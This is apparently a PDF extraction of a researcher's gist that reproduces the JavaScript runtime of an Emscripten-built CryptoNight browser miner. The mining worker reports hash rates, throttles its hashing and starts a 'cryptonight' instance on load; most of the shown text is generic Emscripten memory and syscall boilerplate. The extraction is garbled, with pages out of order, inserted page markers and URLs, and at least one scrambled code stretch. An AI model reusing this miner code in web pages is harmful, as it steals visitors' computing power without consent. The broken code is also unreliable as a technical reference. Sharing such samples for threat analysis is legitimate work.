nonceHex, result: resultHex }); this.throttledHashes = 0 } else if (elapsed \u003e 1e3) {\r\nself.postMessage({ hashesPerSecond: hashesPerSecond, hashes: this.throttledHashes }); this.throttledHashes = 0 } else { var\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 19 of 20\n\nwait = Math.min(2e3, timePerHash * this.throttleWait); setTimeout(this.workThrottledBound, wait) } });\r\nModule.onRuntimeInitialized = (function() { var cryptonight = new CWW })\r\nSource: https://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 20 of 20\n\n https://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec    \nassert((ptr \u0026 3) === 0) } return ptr }), getAlignSize: (function(type, size, vararg) { if (!vararg \u0026\u0026 (type == \"i64\" || type ==\n\"double\")) return 8; if (!type) return Math.min(size, 8); return Math.min(size || (type ? Runtime.getNativeFieldSize(type)  :\n0), Runtime.QUANTUM_SIZE) }), dynCall: (function(sig, ptr, args) { if (args \u0026\u0026 args.length) { return Module[\"dynCall_\" \n+ sig].apply(null, [ptr].concat(args)) } else { return Module[\"dynCall_\" + sig].call(null, ptr) } }), functionPointers: [],\naddFunction: (function(func) { for (var i = 0; i \u003c Runtime.functionPointers.length; i++) { if (!Runtime.functionPointers[i]) {\nRuntime.functionPointers[i] = func; return 2 * (1 + i) } } throw \"Finished up all reserved function pointers. Use a higher\nvalue for RESERVED_FUNCTION_POINTERS.\"  }), removeFunction: (function(index) { Runtime.functionPointers[(index \n-2) / 2] = null }), warnOnce: (function(text) { if (!Runtime.warnOnce.shown) Runtime.warnOnce.shown = {}; if\n(!Runtime.warnOnce.shown[text]) { Runtime.warnOnce.shown[text]  = 1; Module.printErr(text) } }), funcWrappers: {},\ngetFuncWrapper: (function(func, sig) { assert(sig); if (!Runtime.funcWrappers[sig]) { Runtime.funcWrappers[sig]  = {} }\nvar sigCache = Runtime.funcWrappers[sig];  if (!sigCache[func]) { if (sig.length === 1) { sigCache[func] = function \ndynCall_wrapper() { return Runtime.dynCall(sig, func) } } else if (sig.length === 2) { sigCache[func] = function \ndynCall_wrapper(arg) { return Runtime.dynCall(sig, func, [arg]) } } else { sigCache[func] = function dynCall_wrapper() {\nreturn Runtime.dynCall(sig, func, Array.prototype.slice.call(arguments))  } } } return sigCache[func] }), getCompilerSetting: \n(function(name) { throw \"You must build with-s RETAIN_COMPILER_SETTINGS=1 for Runtime.getCompilerSetting or\nemscripten_get_compiler_setting to work\" }), stackAlloc: (function(size) { var ret = STACKTOP; STACKTOP =\nSTACKTOP + size | 0; STACKTOP = STACKTOP + 15 \u0026-16; return ret }), staticAlloc: (function(size) { var ret =\nSTATICTOP; STATICTOP = STATICTOP + size | 0; STATICTOP = STATICTOP + 15 \u0026-16; return ret }), dynamicAlloc: \n(function(size) { var ret = HEAP32[DYNAMICTOP_PTR \u003e\u003e 2]; var end = (ret + size + 15 | 0) \u0026-16; \nHEAP32[DYNAMICTOP_PTR \u003e\u003e 2] = end; if (end \u003e= TOTAL_MEMORY) { var success = enlargeMemory(); if\n(!success) { HEAP32[DYNAMICTOP_PTR  \u003e\u003e 2] = ret; return 0 } } return ret }), alignMemory: (function(size, quantum) {\nvar ret = size = Math.ceil(size / (quantum ? quantum : 16)) * (quantum ? quantum : 16); return ret }), makeBigInt: \n(function(low, high, unsigned) { var ret = unsigned ? +(low \u003e\u003e\u003e 0) + +(high \u003e\u003e\u003e 0) * 4294967296 : +(low \u003e\u003e\u003e 0) + +(high |\n0) * 4294967296; return ret }), GLOBAL_BASE: 1024, QUANTUM_SIZE: 4, __dummy__: 0 }; Module.Runtime =\nRuntime; var ABORT = 0; var EXITSTATUS = 0; function assert(condition, text) { if (!condition) { abort(\"Assertion failed:\n\" + text) } } function getCFunc(ident) { var func = Module[\"_\" + ident]; if (!func) { try { func = eval(\"_\" + ident) } catch (e)\n{} } assert(func, \"Cannot call unknown function \" + ident + \" (perhaps LLVM optimizations or closure removed it?)\");\nreturn func } var cwrap, ccall; ((function() { var JSfuncs = { \"stackSave\": (function() { Runtime.stackSave() }), \n\"stackRestore\": (function() { Runtime.stackRestore() }), \"arrayToC\": (function(arr) { var ret = \nRuntime.stackAlloc(arr.length); writeArrayToMemory(arr, ret); return ret }), \"stringToC\": (function(str) { var ret = 0; if (str\n!== null \u0026\u0026 str !== undefined \u0026\u0026 str !== 0) { var len = (str.length \u003c\u003c 2) + 1; ret = Runtime.stackAlloc(len);  \nstringToUTF8(str, ret, len) } return ret }) }; var toC = { \"string\": JSfuncs.stringToC, \"array\": JSfuncs.arrayToC }; ccall =\nfunction ccallFunc(ident, returnType, argTypes, args, opts) { var func = getCFunc(ident); var cArgs = []; var stack = 0; if\n(args) { for (var i = 0; i \u003c args.length; i++) { var converter = toC[argTypes[i]]; if (converter) { if (stack === 0) stack =\nRuntime.stackSave(); cArgs[i] = converter(args[i]) } else { cArgs[i] = args[i] } } } var ret = func.apply(null, cArgs); if\n(returnType === \"string\") ret = Pointer_stringify(ret); if (stack !== 0) { if (opts \u0026\u0026 opts.async) { \nEmterpreterAsync.asyncFinalizers.push((function()  { Runtime.stackRestore(stack) })); return } Runtime.stackRestore(stack) \n} return ret }; var sourceRegex = /^function\\\\s*[a-zA-Z$_0-9]*\\\\s*\\\\(([^)]*)\\\\)\\\\s*{\\\\s*([^*]*?)[\\\\s;]*(?:return\\\\s*(.*?)    \n[;\\\\s]*)?}$/; function parseJSFunc(jsfunc) { var parsed = jsfunc.toString().match(sourceRegex).slice(1);  return { arguments:\nparsed[0], body: parsed[1], returnValue: parsed[2] } } var JSsource = null; function ensureJSsource() { if (!JSsource) {\nJSsource = {}; for (var fun in JSfuncs) { if (JSfuncs.hasOwnProperty(fun)) { JSsource[fun] = parseJSFunc(JSfuncs[fun]) } }\n} } cwrap = function cwrap(ident, returnType, argTypes) { argTypes = argTypes || []; var cfunc = getCFunc(ident); var\nnumericArgs = argTypes.every((function(type)  { return type === \"number\" })); var numericRet = returnType !== \"string\"; if\n(numericRet \u0026\u0026 numericArgs) { return cfunc } var argNames = argTypes.map((function(x,  i) { return \"$\" + i })); var\nfuncstr = \"(function(\" + argNames.join(\",\") + \") {\"; var nargs = argTypes.length; if (!numericArgs) { ensureJSsource(); \nfuncstr += \"var stack = \" + JSsource.stackSave.body + \";\"; for (var i = 0; i \u003c nargs; i++) { var arg = argNames[i], type =\nargTypes[i]; if (type === \"number\") continue; var convertCode = JSsource[type + \"ToC\"]; funcstr += \"var \" + \nconvertCode.arguments + \" = \" + arg + \";\"; funcstr += convertCode.body + \";\"; funcstr += arg + \"=(\" + \nconvertCode.returnValue + \");\" } } var cfuncname = parseJSFunc((function() { return cfunc })).returnValue; funcstr += \"var\nret = \" + cfuncname + \"(\" + argNames.join(\",\") + \");\"; if (!numericRet) { var strgfy = parseJSFunc((function()  { return\nPointer_stringify })).returnValue; funcstr += \"ret = \" + strgfy + \"(ret);\" } if (!numericArgs) { ensureJSsource(); funcstr +=\nJSsource.stackRestore.body.replace(\"()\", \"(stack)\") + \";\" } funcstr += \"return ret})\"; return eval(funcstr) } }))(); \nModule.ccall = ccall; Module.cwrap = cwrap; function setValue(ptr, value, type, noSafe) { type = type || \"i8\"; if\n(type.charAt(type.length -1) === \"*\") type = \"i32\"; switch (type) { case \"i1\": HEAP8[ptr \u003e\u003e 0] = value; break; case \"i8\":\nHEAP8[ptr \u003e\u003e 0] = value; break; case \"i16\": HEAP16[ptr \u003e\u003e 1] = value; break; case \"i32\": HEAP32[ptr \u003e\u003e 2] = value;\nbreak; case \"i64\": tempI64 = [value \u003e\u003e\u003e 0, (tempDouble = value, +Math_abs(tempDouble)  \u003e= 1 ? tempDouble \u003e 0 ?\n(Math_min(+Math_floor(tempDouble / 4294967296), 4294967295) | 0) \u003e\u003e\u003e 0 : ~~+Math_ceil((tempDouble  -+\n(~~tempDouble \u003e\u003e\u003e 0)) / 4294967296) \u003e\u003e\u003e 0 : 0)], HEAP32[ptr \u003e\u003e 2] = tempI64[0], HEAP32[ptr + 4 \u003e\u003e 2] = tempI64[1];\nbreak; case \"float\": HEAPF32[ptr \u003e\u003e 2] = value; break; case \"double\": HEAPF64[ptr \u003e\u003e 3] = value; break; default: \nabort(\"invalid type for setValue: \" + type) } } Module.setValue = setValue; function getValue(ptr, type, noSafe) { type = type\n|| \"i8\"; if (type.charAt(type.length -1) === \"*\") type = \"i32\"; switch (type) { case \"i1\": return HEAP8[ptr \u003e\u003e 0]; case \"i8\":\nreturn HEAP8[ptr \u003e\u003e 0]; case \"i16\": return HEAP16[ptr \u003e\u003e 1]; case \"i32\": return HEAP32[ptr \u003e\u003e 2]; case \"i64\": return\nHEAP32[ptr \u003e\u003e 2]; case \"float\": return HEAPF32[ptr \u003e\u003e 2]; case \"double\": return HEAPF64[ptr \u003e\u003e 3]; default: \nabort(\"invalid type for setValue: \" + type) } return null } Module.getValue = getValue; var ALLOC_NORMAL  = 0; var\n  Page 2 of 20   \n\n https://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec    \nALLOC_STACK = 1; var ALLOC_STATIC = 2; var ALLOC_DYNAMIC = 3; var ALLOC_NONE = 4; \nModule.ALLOC_NORMAL = ALLOC_NORMAL; Module.ALLOC_STACK = ALLOC_STACK;  \nModule.ALLOC_STATIC = ALLOC_STATIC; Module.ALLOC_DYNAMIC = ALLOC_DYNAMIC;  \nModule.ALLOC_NONE = ALLOC_NONE; function allocate(slab, types, allocator, ptr) { var zeroinit, size; if (typeof slab\n=== \"number\") { zeroinit = !0; size = slab } else { zeroinit = !1; size = slab.length } var singleType = typeof types ===\n\"string\" ? types : null; var ret; if (allocator == ALLOC_NONE) { ret = ptr } else { ret = [typeof _malloc === \"function\" ?\n_malloc : Runtime.staticAlloc, Runtime.stackAlloc, Runtime.staticAlloc, Runtime.dynamicAlloc][allocator === undefined ?\nALLOC_STATIC : allocator](Math.max(size, singleType ? 1 : types.length)) } if (zeroinit) { var ptr = ret, stop; assert((ret \u0026\n3) == 0); stop = ret + (size \u0026 ~3); for (; ptr \u003c stop; ptr += 4) { HEAP32[ptr \u003e\u003e 2] = 0 } stop = ret + size; while (ptr \u003c stop) {\nHEAP8[ptr++ \u003e\u003e 0] = 0 } return ret } if (singleType === \"i8\") { if (slab.subarray || slab.slice) { HEAPU8.set(slab, ret) }\nelse { HEAPU8.set(new Uint8Array(slab), ret) } return ret } var i = 0, type, typeSize, previousType; while (i \u003c size) { var\ncurr = slab[i]; if (typeof curr === \"function\") { curr = Runtime.getFunctionIndex(curr) } type = singleType || types[i]; if\n(type === 0) { i++; continue } if (type == \"i64\") type = \"i32\"; setValue(ret + i, curr, type); if (previousType !== type) {\ntypeSize = Runtime.getNativeTypeSize(type);  previousType = type } i += typeSize } return ret } Module.allocate = allocate;\nfunction getMemory(size) { if (!staticSealed) return Runtime.staticAlloc(size); if (!runtimeInitialized) return \nRuntime.dynamicAlloc(size); return _malloc(size) } Module.getMemory = getMemory; function Pointer_stringify(ptr, \nlength) { if (length === 0 || !ptr) return \"\"; var hasUtf = 0; var t; var i = 0; while (1) { t = HEAPU8[ptr + i \u003e\u003e 0]; hasUtf |= t;\nif (t == 0 \u0026\u0026 !length) break; i++; if (length \u0026\u0026 i == length) break } if (!length) length = i; var ret = \"\"; if (hasUtf \u003c 128) {\nvar MAX_CHUNK = 1024; var curr; while (length \u003e 0) { curr = String.fromCharCode.apply(String, HEAPU8.subarray(ptr, \nptr + Math.min(length, MAX_CHUNK))); ret = ret ? ret + curr : curr; ptr += MAX_CHUNK; length-= MAX_CHUNK }\nreturn ret } return Module.UTF8ToString(ptr) } Module.Pointer_stringify = Pointer_stringify; function AsciiToString(ptr) {\nvar str = \"\"; while (1) { var ch = HEAP8[ptr++ \u003e\u003e 0]; if (!ch) return str; str += String.fromCharCode(ch) } } \nModule.AsciiToString = AsciiToString; function stringToAscii(str, outPtr) { return writeAsciiToMemory(str, outPtr, !1) }\nModule.stringToAscii = stringToAscii; var UTF8Decoder = typeof TextDecoder !== \"undefined\" ? new TextDecoder(\"utf8\") \n: undefined; function UTF8ArrayToString(u8Array, idx) { var endPtr = idx; while (u8Array[endPtr]) ++endPtr; if (endPtr-\nidx \u003e 16 \u0026\u0026 u8Array.subarray \u0026\u0026 UTF8Decoder) { return UTF8Decoder.decode(u8Array.subarray(idx,  endPtr)) } else {\nvar u0, u1, u2, u3, u4, u5; var str = \"\"; while (1) { u0 = u8Array[idx++]; if (!u0) return str; if (!(u0 \u0026 128)) { str += \nString.fromCharCode(u0); continue } u1 = u8Array[idx++] \u0026 63; if ((u0 \u0026 224) == 192) { str += String.fromCharCode((u0 \n\u0026 31) \u003c\u003c 6 | u1); continue } u2 = u8Array[idx++] \u0026 63; if ((u0 \u0026 240) == 224) { u0 = (u0 \u0026 15) \u003c\u003c 12 | u1 \u003c\u003c 6 | u2 } else\n{ u3 = u8Array[idx++] \u0026 63; if ((u0 \u0026 248) == 240) { u0 = (u0 \u0026 7) \u003c\u003c 18 | u1 \u003c\u003c 12 | u2 \u003c\u003c 6 | u3 } else { u4 = \nu8Array[idx++] \u0026 63; if ((u0 \u0026 252) == 248) { u0 = (u0 \u0026 3) \u003c\u003c 24 | u1 \u003c\u003c 18 | u2 \u003c\u003c 12 | u3 \u003c\u003c 6 | u4 } else { u5 =\nu8Array[idx++] \u0026 63; u0 = (u0 \u0026 1) \u003c\u003c 30 | u1 \u003c\u003c 24 | u2 \u003c\u003c 18 | u3 \u003c\u003c 12 | u4 \u003c\u003c 6 | u5 } } } if (u0 \u003c 65536) { str +=\nString.fromCharCode(u0) } else { var ch = u0-65536; str += String.fromCharCode(55296 | ch \u003e\u003e 10, 56320 | ch \u0026 1023) }\n} } } Module.UTF8ArrayToString = UTF8ArrayToString; function UTF8ToString(ptr) { return  \nUTF8ArrayToString(HEAPU8, ptr) } Module.UTF8ToString = UTF8ToString; function stringToUTF8Array(str,  \noutU8Array, outIdx, maxBytesToWrite) { if (!(maxBytesToWrite \u003e 0)) return 0; var startIdx = outIdx; var endIdx = outIdx +\nmaxBytesToWrite -1; for (var i = 0; i \u003c str.length; ++i) { var u = str.charCodeAt(i); if (u \u003e= 55296 \u0026\u0026 u \u003c= 57343) u =\n65536 + ((u \u0026 1023) \u003c\u003c 10) | str.charCodeAt(++i) \u0026 1023; if (u \u003c= 127) { if (outIdx \u003e= endIdx) break; \noutU8Array[outIdx++] = u } else if (u \u003c= 2047) { if (outIdx + 1 \u003e= endIdx) break; outU8Array[outIdx++] = 192 | u \u003e\u003e 6;\noutU8Array[outIdx++] = 128 | u \u0026 63 } else if (u \u003c= 65535) { if (outIdx + 2 \u003e= endIdx) break; outU8Array[outIdx++] =\n224 | u \u003e\u003e 12; outU8Array[outIdx++] = 128 | u \u003e\u003e 6 \u0026 63; outU8Array[outIdx++] = 128 | u \u0026 63 } else if (u \u003c= 2097151) {\nif (outIdx + 3 \u003e= endIdx) break; outU8Array[outIdx++] = 240 | u \u003e\u003e 18; outU8Array[outIdx++] = 128 | u \u003e\u003e 12 \u0026 63;\noutU8Array[outIdx++] = 128 | u \u003e\u003e 6 \u0026 63; outU8Array[outIdx++] = 128 | u \u0026 63 } else if (u \u003c= 67108863) { if (outIdx +\n4 \u003e= endIdx) break; outU8Array[outIdx++] = 248 | u \u003e\u003e 24; outU8Array[outIdx++] = 128 | u \u003e\u003e 18 \u0026 63; \noutU8Array[outIdx++] = 128 | u \u003e\u003e 12 \u0026 63; outU8Array[outIdx++] = 128 | u \u003e\u003e 6 \u0026 63; outU8Array[outIdx++]  = 128 | u\n\u0026 63 } else { if (outIdx + 5 \u003e= endIdx) break; outU8Array[outIdx++] = 252 | u \u003e\u003e 30; outU8Array[outIdx++] = 128 | u \u003e\u003e\n24 \u0026 63; outU8Array[outIdx++] = 128 | u \u003e\u003e 18 \u0026 63; outU8Array[outIdx++] = 128 | u \u003e\u003e 12 \u0026 63; outU8Array[outIdx++] \n= 128 | u \u003e\u003e 6 \u0026 63; outU8Array[outIdx++] = 128 | u \u0026 63 } } outU8Array[outIdx] = 0; return outIdx-startIdx } \nModule.stringToUTF8Array = stringToUTF8Array; function stringToUTF8(str, outPtr, maxBytesToWrite) { return \nstringToUTF8Array(str, HEAPU8, outPtr, maxBytesToWrite) } Module.stringToUTF8 = stringToUTF8; function \nlengthBytesUTF8(str) { var len = 0; for (var i = 0; i \u003c str.length; ++i) { var u = str.charCodeAt(i); if (u \u003e= 55296 \u0026\u0026 u \u003c=\n57343) u = 65536 + ((u \u0026 1023) \u003c\u003c 10) | str.charCodeAt(++i) \u0026 1023; if (u \u003c= 127) { ++len } else if (u \u003c= 2047) { len += 2\n} else if (u \u003c= 65535) { len += 3 } else if (u \u003c= 2097151) { len += 4 } else if (u \u003c= 67108863) { len += 5 } else { len += 6 }\n} return len } Module.lengthBytesUTF8  = lengthBytesUTF8; var UTF16Decoder = typeof TextDecoder !== \"undefined\" ?\nnew TextDecoder(\"utf-16le\") : undefined; function demangle(func) { var __cxa_demangle_func = \nModule.___cxa_demangle || Module.__cxa_demangle; if (__cxa_demangle_func) { try { var s = func.substr(1); var len =\nlengthBytesUTF8(s) + 1; var buf = _malloc(len); stringToUTF8(s, buf, len); var status = _malloc(4); var ret = \n__cxa_demangle_func(buf, 0, 0, status); if (getValue(status, \"i32\") === 0 \u0026\u0026 ret) { return Pointer_stringify(ret) } } catch\n(e) {} finally { if (buf) _free(buf); if (status) _free(status); if (ret) _free(ret) } return func } Runtime.warnOnce(\"warning:  \nbuild with-s DEMANGLE_SUPPORT=1  to link in libcxxabi demangling\"); return func } function demangleAll(text) { var\nregex = /__Z[\\\\w\\\\d_]+/g; return text.replace(regex, (function(x) { var y = demangle(x); return x === y ? x : x + \" [\" + y +\n\"]\" })) } function jsStackTrace() { var err = new Error; if (!err.stack) { try { throw new Error(0) } catch (e) { err = e } if\n(!err.stack) { return \"(no stack trace available)\" } } return err.stack.toString() } function stackTrace() { var js = \njsStackTrace(); if (Module.extraStackTrace) js += \"\\\\n\" + Module.extraStackTrace(); return demangleAll(js) } \n  Page 3 of 20  \n\nModule.stackTrace alignUp(x, multiple) = stackTrace; var { if (x % multiple WASM_PAGE_SIZE \u003e 0) { x += = 65536; var ASMJS_PAGE_SIZE multiple - x % multiple } return = 16777216; x } var HEAP, buffer, HEAP8, function\nHEAPU8, HEAP16, HEAPU16, HEAP32, HEAPU32, HEAPF32, HEAPF64; function updateGlobalBuffer(buf) {\nModule.buffer = buffer = buf } function updateGlobalBufferViews() { Module.HEAP8 = HEAP8 = new Int8Array(buffer); \nModule.HEAP16 = HEAP16 = new Int16Array(buffer); Module.HEAP32 = HEAP32 = new Int32Array(buffer); \nModule.HEAPU8 = HEAPU8 = new Uint8Array(buffer); Module.HEAPU16 = HEAPU16 = new Uint16Array(buffer); \nModule.HEAPU32 = HEAPU32 = new Uint32Array(buffer); Module.HEAPF32 = HEAPF32 = new Float32Array(buffer); \nModule.HEAPF64 = HEAPF64 = new Float64Array(buffer) } var STATIC_BASE, STATICTOP, staticSealed; var\nSTACK_BASE, STACKTOP, STACK_MAX; var DYNAMIC_BASE, DYNAMICTOP_PTR; STATIC_BASE =\nSTATICTOP = STACK_BASE = STACKTOP = STACK_MAX = DYNAMIC_BASE = DYNAMICTOP_PTR = 0;\nstaticSealed = !1; function abortOnCannotGrowMemory()  { abort(\"Cannot enlarge memory arrays. Either (1) compile with-\ns TOTAL_MEMORY=X with X higher than the current value \" + TOTAL_MEMORY + \", (2) compile with -s\nALLOW_MEMORY_GROWTH=1  which allows increasing the size at runtime, or (3) if you want malloc to return NULL\n(0) instead of this abort, compile with -s ABORTING_MALLOC=0 \") } function enlargeMemory() { \nabortOnCannotGrowMemory() } var TOTAL_STACK = Module.TOTAL_STACK || 5242880; var TOTAL_MEMORY =\nModule.TOTAL_MEMORY || 16777216; if (TOTAL_MEMORY \u003c TOTAL_STACK)  \nModule.printErr(\"TOTAL_MEMORY  should be larger than TOTAL_STACK, was \" + TOTAL_MEMORY + \"!\n(TOTAL_STACK=\" + TOTAL_STACK + \")\"); if (Module.buffer) { buffer = Module.buffer } else { if (typeof \nWebAssembly === \"object\" \u0026\u0026 typeof WebAssembly.Memory === \"function\") { Module.wasmMemory = new\nWebAssembly.Memory({ \"initial\": TOTAL_MEMORY / WASM_PAGE_SIZE, \"maximum\": TOTAL_MEMORY /\nWASM_PAGE_SIZE }); buffer = Module.wasmMemory.buffer  } else { buffer = new ArrayBuffer(TOTAL_MEMORY) } }\nupdateGlobalBufferViews(); function getTotalMemory() { return TOTAL_MEMORY } HEAP32[0] = 1668509029; \nHEAP16[1] = 25459; if (HEAPU8[2] !== 115 || HEAPU8[3] !== 99) throw \"Runtime error: expected the system to be little\u0002\nendian!\"; Module.HEAP = HEAP; Module.buffer = buffer; Module.HEAP8 = HEAP8; Module.HEAP16 = HEAP16;\nModule.HEAP32 = HEAP32; Module.HEAPU8 = HEAPU8; Module.HEAPU16 = HEAPU16; Module.HEAPU32 =\nHEAPU32; Module.HEAPF32 = HEAPF32; Module.HEAPF64 = HEAPF64; function callRuntimeCallbacks(callbacks) {\nwhile (callbacks.length \u003e 0) { var callback = callbacks.shift(); if (typeof callback == \"function\") { callback(); continue } var\nfunc = callback.func; if (typeof func === \"number\") { if (callback.arg === undefined) { Module.dynCall_v(func) } else {\nModule.dynCall_vi(func, callback.arg) } } else { func(callback.arg === undefined ? null : callback.arg) } } } var\n__ATPRERUN__ = []; var __ATINIT__ = []; var __ATMAIN__ = []; var __ATEXIT__ = []; var __ATPOSTRUN__ = [];\nvar runtimeInitialized = !1; var runtimeExited = !1; function preRun() { if (Module.preRun) { if (typeof Module.preRun ==\n\"function\") Module.preRun = [Module.preRun]; while (Module.preRun.length) { addOnPreRun(Module.preRun.shift()) } }\ncallRuntimeCallbacks(__ATPRERUN__)  } function ensureInitRuntime() { if (runtimeInitialized) return; runtimeInitialized \n= !0; callRuntimeCallbacks(__ATINIT__)  } function preMain() { callRuntimeCallbacks(__ATMAIN__) } function\nexitRuntime() { callRuntimeCallbacks(__ATEXIT__);  runtimeExited = !0 } function postRun() { if (Module.postRun) { if\n(typeof Module.postRun == \"function\") Module.postRun = [Module.postRun]; while (Module.postRun.length) {\naddOnPostRun(Module.postRun.shift())  } } callRuntimeCallbacks(__ATPOSTRUN__)  } function addOnPreRun(cb) {\n__ATPRERUN__.unshift(cb) } Module.addOnPreRun  = addOnPreRun; function addOnInit(cb) { __ATINIT__.unshift(cb) }\nModule.addOnInit = addOnInit; function addOnPreMain(cb) { __ATMAIN__.unshift(cb) } Module.addOnPreMain =\naddOnPreMain; function addOnExit(cb) { __ATEXIT__.unshift(cb) } Module.addOnExit = addOnExit; function \naddOnPostRun(cb) { __ATPOSTRUN__.unshift(cb)  } Module.addOnPostRun = addOnPostRun; function \nintArrayFromString(stringy, dontAddNull, length) { var len = length \u003e 0 ? length : lengthBytesUTF8(stringy) + 1; var\nu8array = new Array(len); var numBytesWritten = stringToUTF8Array(stringy, u8array, 0, u8array.length); if (dontAddNull)\nu8array.length = numBytesWritten; return u8array } Module.intArrayFromString = intArrayFromString; function \nintArrayToString(array) { var ret = []; for (var i = 0; i \u003c array.length; i++) { var chr = array[i]; if (chr \u003e 255) { chr \u0026= 255 }\nret.push(String.fromCharCode(chr))  } return ret.join(\"\") } Module.intArrayToString = intArrayToString; function \nwriteStringToMemory(string, buffer, dontAddNull) { Runtime.warnOnce(\"writeStringToMemory is deprecated and should\nnot be called! Use stringToUTF8() instead!\"); var lastChar, end; if (dontAddNull) { end = buffer + \nlengthBytesUTF8(string); lastChar = HEAP8[end] } stringToUTF8(string, buffer, Infinity); if (dontAddNull) HEAP8[end] =\nlastChar } Module.writeStringToMemory  = writeStringToMemory; function writeArrayToMemory(array, buffer) {\nHEAP8.set(array, buffer) } Module.writeArrayToMemory  = writeArrayToMemory; function writeAsciiToMemory(str, \nbuffer, dontAddNull) { for (var i = 0; i \u003c str.length; ++i) { HEAP8[buffer++ \u003e\u003e 0] = str.charCodeAt(i) } if (!dontAddNull)\nHEAP8[buffer \u003e\u003e 0] = 0 } Module.writeAsciiToMemory  = writeAsciiToMemory; if (!Math.imul || Math.imul(4294967295, \n5) !==-5) Math.imul = function imul(a, b) { var ah = a \u003e\u003e\u003e 16; var al = a \u0026 65535; var bh = b \u003e\u003e\u003e 16; var bl = b \u0026 65535;\nreturn al * bl + (ah * bl + al * bh \u003c\u003c 16) | 0 }; Math.imul = Math.imul; if (!Math.fround) { var froundBuffer = new\nFloat32Array(1); Math.fround = (function(x) { froundBuffer[0] = x; return froundBuffer[0] }) } Math.fround =\nMath.fround; if (!Math.clz32) Math.clz32 = (function(x) { x = x \u003e\u003e\u003e 0; for (var i = 0; i \u003c 32; i++) { if (x \u0026 1 \u003c\u003c 31-i)\nreturn i } return 32 }); Math.clz32 = Math.clz32; if (!Math.trunc) Math.trunc = (function(x) { return x \u003c 0 ? Math.ceil(x) :\nMath.floor(x) }); Math.trunc = Math.trunc; var Math_abs = Math.abs; var Math_cos = Math.cos; var Math_sin = Math.sin;\nvar Math_tan = Math.tan; var Math_acos = Math.acos; var Math_asin = Math.asin; var Math_atan = Math.atan; var\nMath_atan2 = Math.atan2; var Math_exp = Math.exp; var Math_log = Math.log; var Math_sqrt = Math.sqrt; var Math_ceil\n= Math.ceil; var Math_floor = Math.floor; var Math_pow = Math.pow; var Math_imul = Math.imul; var Math_fround =\nMath.fround; var Math_round = Math.round; var Math_min = Math.min; var Math_clz32 = Math.clz32; var Math_trunc =\nMath.trunc; var runDependencies = 0; var runDependencyWatcher = null; var dependenciesFulfilled = null; function\n   Page 4 of 20  \n\nfunc(path) } catch https://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec (e) { if (e \u0026\u0026 e.node \u0026\u0026 PATH.normalize(path) !== PATH.normalize(FS.getPath(e.node)))  { return -\nERRNO_CODES.ENOTDIR } throw e } HEAP32[buf \u003e\u003e 2] = stat.dev; HEAP32[buf + 4 \u003e\u003e 2] = 0; HEAP32[buf + 8 \u003e\u003e 2]\n= stat.ino; HEAP32[buf + 12 \u003e\u003e 2] = stat.mode; HEAP32[buf + 16 \u003e\u003e 2] = stat.nlink; HEAP32[buf + 20 \u003e\u003e 2] = stat.uid;\nHEAP32[buf + 24 \u003e\u003e 2] = stat.gid; HEAP32[buf + 28 \u003e\u003e 2] = stat.rdev; HEAP32[buf + 32 \u003e\u003e 2] = 0; HEAP32[buf + 36 \u003e\u003e\n2] = stat.size; HEAP32[buf + 40 \u003e\u003e 2] = 4096; HEAP32[buf + 44 \u003e\u003e 2] = stat.blocks; HEAP32[buf + 48 \u003e\u003e 2] =\nstat.atime.getTime() / 1e3 | 0; HEAP32[buf + 52 \u003e\u003e 2] = 0; HEAP32[buf + 56 \u003e\u003e 2] = stat.mtime.getTime() / 1e3 | 0;\nHEAP32[buf + 60 \u003e\u003e 2] = 0; HEAP32[buf + 64 \u003e\u003e 2] = stat.ctime.getTime() / 1e3 | 0; HEAP32[buf + 68 \u003e\u003e 2] = 0;\nHEAP32[buf + 72 \u003e\u003e 2] = stat.ino; return 0 }), doMsync: (function(addr, stream, len, flags) { var buffer = new\nUint8Array(HEAPU8.subarray(addr, addr + len)); FS.msync(stream, buffer, 0, len, flags) }), doMkdir: (function(path,\nmode) { path = PATH.normalize(path);  if (path[path.length- 1] === \"/\") path = path.substr(0, path.length -1);\nFS.mkdir(path, mode, 0); return 0 }), doMknod: (function(path, mode, dev) { switch (mode \u0026 61440) { case 32768: case\n8192: case 24576: case 4096: case 49152: break; default: return -ERRNO_CODES.EINVAL } FS.mknod(path, mode, dev);\nreturn 0 }), doReadlink: (function(path, buf, bufsize) { if (bufsize \u003c= 0) return-ERRNO_CODES.EINVAL;  var ret =\nFS.readlink(path); var len = Math.min(bufsize, lengthBytesUTF8(ret)); var endChar = HEAP8[buf + len];\nstringToUTF8(ret, buf, bufsize + 1); HEAP8[buf + len] = endChar; return len }), doAccess: (function(path, amode) { if\n(amode \u0026 ~7) { return-ERRNO_CODES.EINVAL } var node; var lookup = FS.lookupPath(path,  { follow: !0 }); node =\nlookup.node; var perms = \"\"; if (amode \u0026 4) perms += \"r\"; if (amode \u0026 2) perms += \"w\"; if (amode \u0026 1) perms += \"x\"; if\n(perms \u0026\u0026 FS.nodePermissions(node,  perms)) { return-ERRNO_CODES.EACCES  } return 0 }), doDup: (function(path,\nflags, suggestFD) { var suggest = FS.getStream(suggestFD);  if (suggest) FS.close(suggest); return FS.open(path, flags, 0,\nsuggestFD, suggestFD).fd }), doReadv: (function(stream, iov, iovcnt, offset) { var ret = 0; for (var i = 0; i \u003c iovcnt; i++) {\nvar ptr = HEAP32[iov + i * 8 \u003e\u003e 2]; var len = HEAP32[iov + (i * 8 + 4) \u003e\u003e 2]; var curr = FS.read(stream, HEAP8, ptr, len,\noffset); if (curr \u003c 0) return-1; ret += curr; if (curr \u003c len) break } return ret }), doWritev: (function(stream, iov, iovcnt, offset)\n{ var ret = 0; for (var i = 0; i \u003c iovcnt; i++) { var ptr = HEAP32[iov + i * 8 \u003e\u003e 2]; var len = HEAP32[iov + (i * 8 + 4) \u003e\u003e 2];\nvar curr = FS.write(stream, HEAP8, ptr, len, offset); if (curr \u003c 0) return-1; ret += curr } return ret }), varargs: 0, get:\n(function(varargs) { SYSCALLS.varargs += 4; var ret = HEAP32[SYSCALLS.varargs  -4 \u003e\u003e 2]; return ret }), getStr:\n(function() { var ret = Pointer_stringify(SYSCALLS.get()); return ret }), getStreamFromFD: (function() { var stream 